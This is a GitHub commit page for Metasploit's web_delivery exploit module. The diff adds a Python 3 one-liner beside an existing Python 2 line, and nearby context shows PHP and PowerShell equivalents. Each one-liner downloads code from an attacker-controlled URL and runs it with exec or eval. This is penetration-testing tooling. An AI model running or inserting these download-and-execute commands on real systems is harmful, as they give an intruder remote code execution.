Skip to content

Commit e51063a

Browse files
author
Swiftb0y
committed
added the python3 syntax to the web_delivery script
1 parent c0c1ac3 commit e51063a

File tree

1 file changed

+3
-0
lines changed

1 file changed

+3
-0
lines changed

modules/exploits/multi/script/web_delivery.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -86,7 +86,10 @@ def primer
8686
when 'PHP'
8787
print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"")
8888
when 'Python'
89+
print_line("python 2:")
8990
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
91+
print_line("Python 3:")
92+
print_line("python3 -c \"import urllib.request; r = urllib.request.urlopen('#{url}'); exec(r.read());\"")
9093
when 'PSH'
9194
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
9295
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)

0 commit comments

Comments
 (0)